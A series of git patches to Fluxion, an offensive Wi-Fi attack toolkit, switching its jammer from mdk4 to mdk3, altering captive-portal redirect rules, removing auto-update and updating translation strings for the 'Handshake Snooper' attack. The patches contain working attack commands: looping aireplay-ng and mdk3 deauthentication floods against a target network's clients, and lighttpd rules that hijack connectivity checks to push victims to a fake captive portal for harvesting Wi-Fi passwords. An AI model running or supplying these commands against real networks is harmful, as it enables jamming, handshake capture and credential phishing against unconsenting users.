From 9ea9c8f132fa680f2fbc2af50b577bdd07eb49a1 Mon Sep 17 00:00:00 2001 From: danielvos Date: Sat, 8 Jun 2019 18:28:16 +0200 Subject: [PATCH 01/76] Update nl.sh HandshakeSnooperJammerInterfaceQuery: -fixed type: "eenn" should be "een" HandshakeSnooperArbiterAbortedWarning: -The dutch word "been" means "leg" in english, so I assume that the previous translators forgot to remove this word (It is present in en.sh). -"afgebroken" is a better translation for "aborted" than "geannuleerd" is. This is because the dutch word "geannuleerd" means "canceled" in english. HandshakeSnooperArbiterSuccededNotice: -In "fluxion's" the 's part is redundant, and shouldn't be present in the dutch translation. --- attacks/Handshake Snooper/language/nl.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/attacks/Handshake Snooper/language/nl.sh b/attacks/Handshake Snooper/language/nl.sh index 6630917..cfb79b3 100755 --- a/attacks/Handshake Snooper/language/nl.sh +++ b/attacks/Handshake Snooper/language/nl.sh @@ -3,7 +3,7 @@ # description: Acquires WPA/WPA2 encryption hashes. # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Selecteer eenn interface voor monitoring & jamming." +HandshakeSnooperJammerInterfaceQuery="Selecteer een interface voor monitoring & jamming." # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)" @@ -23,8 +23,8 @@ HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter dae HandshakeSnooperSnoopingForNSecondsNotice="Snooping voor \$HandshakeSnooperVerifierInterval seconden." HandshakeSnooperStoppingForVerifierNotice="Stop snooper & controle voor hashes." HandshakeSnooperSearchingForHashesNotice="Zoek naar hashes in het capture bestand." -HandshakeSnooperArbiterAbortedWarning="${CYel}Geannuleerd${CClr}: De operatie is geannuleerd been, geen geldige hash gevonden." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Gelukt${CClr}: Een geldige hash is gedetecteerd en opgeslagen in de fluxion's database." +HandshakeSnooperArbiterAbortedWarning="${CYel}Afgebroken${CClr}: De operatie is afgebroken, geen geldige hash gevonden." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Gelukt${CClr}: Een geldige hash is gedetecteerd en opgeslagen in de fluxion database." HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel aanval afgerond, Sluit dit scherm en start een andere aanval.$CClr" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> From 79197b5a4e09b17cb86c346d9ae8e176c71b6a90 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Mon, 29 Jul 2019 08:00:53 +0500 Subject: [PATCH 02/76] revert back to mdk3 --- fluxion.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion.sh b/fluxion.sh index 542350b..38fd042 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -280,7 +280,7 @@ fluxion_startup() { local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" - "iwconfig:wireless-tools" "macchanger" "mdk4" "nmap" "openssl" + "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc" ) From 2db2ef38a03bc82cf6f03cae8eae2af26e90e5aa Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Mon, 29 Jul 2019 08:03:44 +0500 Subject: [PATCH 03/76] remove mdk4 and using mdk3 --- attacks/Captive Portal/attack.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 92f2d53..a2b4592 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -1415,7 +1415,7 @@ stop_attack() { 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice CaptivePortalJammerServiceXtermPID="" # Clear parent PID fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst" + sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" # Kill captive portal web server log viewer. if [ "$CaptivePortalWebServiceXtermPID" ]; then @@ -1511,7 +1511,7 @@ start_attack() { CaptivePortalWebServiceXtermPID=$! echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" - echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst" + echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" if [ $FLUXIONEnable5GHZ -eq 1 ]; then xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ @@ -1523,7 +1523,7 @@ start_attack() { xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" & + "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! From 4e34fc809d37b163b9dea5a81b801c49f2f38cb5 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Mon, 29 Jul 2019 08:06:15 +0500 Subject: [PATCH 04/76] change redirect code and captive portal fix --- attacks/Captive Portal/attack.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index a2b4592..f620b2a 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -725,7 +725,7 @@ index-file.names = ( # Respond with Google's captive response on certain domains. # Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com -\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { +\$HTTP[\"host\"] == \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } @@ -734,7 +734,7 @@ index-file.names = ( echo "\ # Redirect all traffic to the captive portal when not emulating a connection. \$HTTP[\"host\"] != \"captive.gateway.lan\" { - url.redirect-code = 302 + url.redirect-code = 307 url.redirect = ( \"^/(.*)\" => \"http://captive.gateway.lan/\", ) From 53718ca38abb4055822c4ded8cb2ce22caa20f25 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 11:22:06 +0500 Subject: [PATCH 05/76] fix captive portal stuck on ath9k driver. --- attacks/Captive Portal/attack.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index f620b2a..49b7404 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -116,7 +116,7 @@ captive_portal_set_ap_interface() { # interface is in used by something else (virtual reservation?). echo "Virtual interface required, attempting." > $FLUXIONOutputDevice if ! iw dev $CaptivePortalJammerInterface interface \ - add ${CaptivePortalJammerInterface}v type monitor \ + add ${CaptivePortalJammerInterface}v type managed \ 2> $FLUXIONOutputDevice; then echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" sleep 5 From 3662c1c2b5e5c568cb4d456822cc0e2f266d31e7 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:01:45 +0500 Subject: [PATCH 06/76] remove auto-update --- fluxion.sh | 27 --------------------------- 1 file changed, 27 deletions(-) diff --git a/fluxion.sh b/fluxion.sh index 38fd042..a55e3b3 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -250,33 +250,6 @@ fluxion_startup() { echo # Do not remove. - sleep 0.1 - local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion" - format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr" - local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)" - local -r credits="by$CCyn FluxionNetwork$CClr" - format_center_literals "$versionInfo $revisionInfo $credits" - echo -e "$FormatCenterLiterals" - - sleep 0.1 - local -r fluxionDomain="raw.githubusercontent.com" - local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh" - local -r updateDomain="github.com" - local -r updatePath="FluxionNetwork/fluxion/archive/master.zip" - if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \ - "FLUXIONVersion=" "FLUXIONRevision=" \ - $FLUXIONVersion $FLUXIONRevision; then - installer_utils_run_update "https://$updateDomain/$updatePath" \ - "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath" - fluxion_shutdown - fi - - echo # Do not remove. - local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" From a39b6c05a60fff9355bbc139d27a495a2a53300d Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:16:39 +0500 Subject: [PATCH 07/76] kill and restart network-manager --- fluxion.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/fluxion.sh b/fluxion.sh index a55e3b3..5fdc034 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -4,6 +4,10 @@ # ================== < FLUXION Parameters > ================== # # ============================================================ # # Path to directory containing the FLUXION executable script. + +for program in "$(airmon-ng check | awk 'NR>6{print $2}')"; do + killall $program &> /dev/null + done readonly FLUXIONPath=$(dirname $(readlink -f "$0")) # Path to directory containing the FLUXION library (scripts). @@ -325,6 +329,7 @@ fluxion_shutdown() { # Only deallocate fluxion or airmon-ng created interfaces. if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then fluxion_deallocate_interface $interface + systemctl restart network-manager fi done fi From 47cc145d2851228b84309bd1095e18797f6211cc Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:44:28 +0500 Subject: [PATCH 08/76] fluxion 6.0 released --- fluxion.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion.sh b/fluxion.sh index 5fdc034..49dcfba 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -25,8 +25,8 @@ readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf" readonly FLUXIONNoiseFloor=-90 readonly FLUXIONNoiseCeiling=-60 -readonly FLUXIONVersion=5 -readonly FLUXIONRevision=9 +readonly FLUXIONVersion=6 +readonly FLUXIONRevision=0 # Declare window ration bigger = smaller windows FLUXIONWindowRatio=4 From d88c01db5926f2b82b05a03e4e3754269fc6bfc1 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:50:10 +0500 Subject: [PATCH 09/76] completely remove mdk4 --- attacks/Handshake Snooper/attack.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 7822cc6..218b430 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -168,8 +168,8 @@ handshake_snooper_start_deauthenticator() { # Prepare deauthenticators case "$HandshakeSnooperDeauthenticatorIdentifier" in - "$HandshakeSnooperMdk4MethodOption") - echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk4_blacklist.lst ;; + "$HandshakeSnooperMdk3MethodOption") + echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;; esac # Start deauthenticators. @@ -180,10 +180,10 @@ handshake_snooper_start_deauthenticator() { "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" & HandshakeSnooperDeauthenticatorPID=$! ;; - "$HandshakeSnooperMdk4MethodOption") + "$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ - "while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk4_blacklist.lst -c $FluxionTargetChannel; done" & + "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & HandshakeSnooperDeauthenticatorPID=$! ;; esac @@ -203,7 +203,7 @@ handshake_snooper_set_deauthenticator_identifier() { local methods=( "$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" - "$HandshakeSnooperMdk4MethodOption" + "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption" ) io_query_choice "$HandshakeSnooperMethodQuery" methods[@] From 31823acfa5e01c28f4fddb50c181010922a9fa2e Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:54:08 +0500 Subject: [PATCH 10/76] Update en.sh --- attacks/Handshake Snooper/language/en.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/en.sh b/attacks/Handshake Snooper/language/en.sh index a643d3a..c116ca1 100755 --- a/attacks/Handshake Snooper/language/en.sh +++ b/attacks/Handshake Snooper/language/en.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 63f4b14c07430d172b992057c95da393338345a7 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:56:27 +0500 Subject: [PATCH 11/76] Update ar.sh --- attacks/Handshake Snooper/language/ar.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ar.sh b/attacks/Handshake Snooper/language/ar.sh index e86bfe6..6c57932 100755 --- a/attacks/Handshake Snooper/language/ar.sh +++ b/attacks/Handshake Snooper/language/ar.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="إختر بطاقة شبكة من أجل HandshakeSnooperMethodQuery="إختر طريقة لاسترجاع المصافحة" HandshakeSnooperMonitorMethodOption="مراقبة (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="الغاء المصادقة aireplay-ng (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="الغاء المصادقة mdk4 (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk3 (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="كم مرة يجب على المدقق التحقق من المصافحة؟" HandshakeSnooperVerifierInterval30SOption="كل 30 ثانية (${CGrn}مستحسن${CClr})." From 1676f63065893a2d977f066391744ada4bdb5ed3 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:57:04 +0500 Subject: [PATCH 12/76] Update cs.sh --- attacks/Handshake Snooper/language/cs.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/cs.sh b/attacks/Handshake Snooper/language/cs.sh index 6add62e..20e1515 100755 --- a/attacks/Handshake Snooper/language/cs.sh +++ b/attacks/Handshake Snooper/language/cs.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Vyberte rozhraní pro monitorování/ruše HandshakeSnooperMethodQuery="Vyberte metodu získání handshaku" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasivní$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresivní$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agresivní$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresivní$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Jak často kontrolovat získání handshaku?" HandshakeSnooperVerifierInterval30SOption="Každých 30 vteřin (${CGrn}doporučeno${CClr})." From 0a7b850d9b3621eca7e393ca258aa836dd89e3ae Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:57:31 +0500 Subject: [PATCH 13/76] Update de.sh --- attacks/Handshake Snooper/language/de.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/de.sh b/attacks/Handshake Snooper/language/de.sh index 18e4735..af5f2bc 100755 --- a/attacks/Handshake Snooper/language/de.sh +++ b/attacks/Handshake Snooper/language/de.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 05ea656dc39e7f6cd6f677f686ce0c842b6d0237 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 12:58:09 +0500 Subject: [PATCH 14/76] Update el.sh --- attacks/Handshake Snooper/language/el.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/el.sh b/attacks/Handshake Snooper/language/el.sh index 3541d55..a7fcb82 100755 --- a/attacks/Handshake Snooper/language/el.sh +++ b/attacks/Handshake Snooper/language/el.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Διαλεξτε μια μεθοδο για την αποκτηση του handshake" HandshakeSnooperMonitorMethodOption="Παρακολουθηση (${CYel}αβλαβης$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng αποσυνδεση (${CRed}επιθετικη$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 αποσυνδεση (${CRed}επιθετικη$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 αποσυνδεση (${CRed}επιθετικη$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ανα ποση ωρα να ελεγχω για το handshake?" HandshakeSnooperVerifierInterval30SOption="Καθε 30 δευτερολεπτα(${CGrn}προτεινομενο${CClr})." From f45f217ed914859c1e432fb31a2b1877fc0f9d30 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:03:34 +0500 Subject: [PATCH 15/76] Update es.sh --- attacks/Handshake Snooper/language/es.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/es.sh b/attacks/Handshake Snooper/language/es.sh index 4855f6e..231c85e 100755 --- a/attacks/Handshake Snooper/language/es.sh +++ b/attacks/Handshake Snooper/language/es.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From d2c786486743749091ae4f244c18423d87b6e747 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:05:05 +0500 Subject: [PATCH 16/76] Update fr.sh --- attacks/Handshake Snooper/language/fr.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/fr.sh b/attacks/Handshake Snooper/language/fr.sh index ff3650c..89bf5ba 100755 --- a/attacks/Handshake Snooper/language/fr.sh +++ b/attacks/Handshake Snooper/language/fr.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Sélectionnez une méthode de récupération de handshake" HandshakeSnooperMonitorMethodOption="Monitorer (${CYel}passif$CClr)" HandshakeSnooperAireplayMethodOption="Désauthentification aireplay-ng (${CRed}aggressif$CClr)" -HandshakeSnooperMdk4MethodOption="Désauthentification mdk4 (${CRed}aggressif$CClr)" +HandshakeSnooperMdk3MethodOption="Désauthentification mdk3 (${CRed}aggressif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From e3c5059a496435d0c1b09595a95e4e4f7233726a Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:05:17 +0500 Subject: [PATCH 17/76] Update it.sh --- attacks/Handshake Snooper/language/it.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/it.sh b/attacks/Handshake Snooper/language/it.sh index 1ce0426..65f7289 100755 --- a/attacks/Handshake Snooper/language/it.sh +++ b/attacks/Handshake Snooper/language/it.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Seleziona il metodo di scoperta dell'handshake" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passivo$CClr)" HandshakeSnooperAireplayMethodOption="deautenticazione aireplay-ng (${CRed}aggressivo$CClr)" -HandshakeSnooperMdk4MethodOption="deautenticazione mdk4 (${CRed}aggressivo$CClr)" +HandshakeSnooperMdk3MethodOption="deautenticazione mdk3 (${CRed}aggressivo$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ogni quanto il verificatore deve controllare per l'handshake?" HandshakeSnooperVerifierInterval30SOption="Ogni 30 secondi (${CGrn}raccomandato${CClr})." From c867e08498c712906c0a30f1bd2a43910e40cf2a Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:05:32 +0500 Subject: [PATCH 18/76] Update nl.sh --- attacks/Handshake Snooper/language/nl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/nl.sh b/attacks/Handshake Snooper/language/nl.sh index cfb79b3..17ea0ef 100755 --- a/attacks/Handshake Snooper/language/nl.sh +++ b/attacks/Handshake Snooper/language/nl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Selecteer een interface voor monitoring & HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agressief$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agressief$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agressief$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Hoe vaak moet er gecontrollerd worden voor een handshake?" HandshakeSnooperVerifierInterval30SOption="Elke 30 seconden (${CGrn}aangeraden${CClr})." From 2d5d0fdc4c981f64dfd3f286c71f6039ec6bf42f Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:05:42 +0500 Subject: [PATCH 19/76] Update pl.sh --- attacks/Handshake Snooper/language/pl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pl.sh b/attacks/Handshake Snooper/language/pl.sh index a643d3a..c116ca1 100755 --- a/attacks/Handshake Snooper/language/pl.sh +++ b/attacks/Handshake Snooper/language/pl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 8a68249bce403db225a7ab58dd50230886932c9e Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:05:53 +0500 Subject: [PATCH 20/76] Update pt-br.sh --- attacks/Handshake Snooper/language/pt-br.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pt-br.sh b/attacks/Handshake Snooper/language/pt-br.sh index a643d3a..c116ca1 100755 --- a/attacks/Handshake Snooper/language/pt-br.sh +++ b/attacks/Handshake Snooper/language/pt-br.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 2bea0d60ea39bf378696122e70978ce6ed62c2a0 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:06:03 +0500 Subject: [PATCH 21/76] Update ro.sh --- attacks/Handshake Snooper/language/ro.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ro.sh b/attacks/Handshake Snooper/language/ro.sh index 951c1d6..146127a 100755 --- a/attacks/Handshake 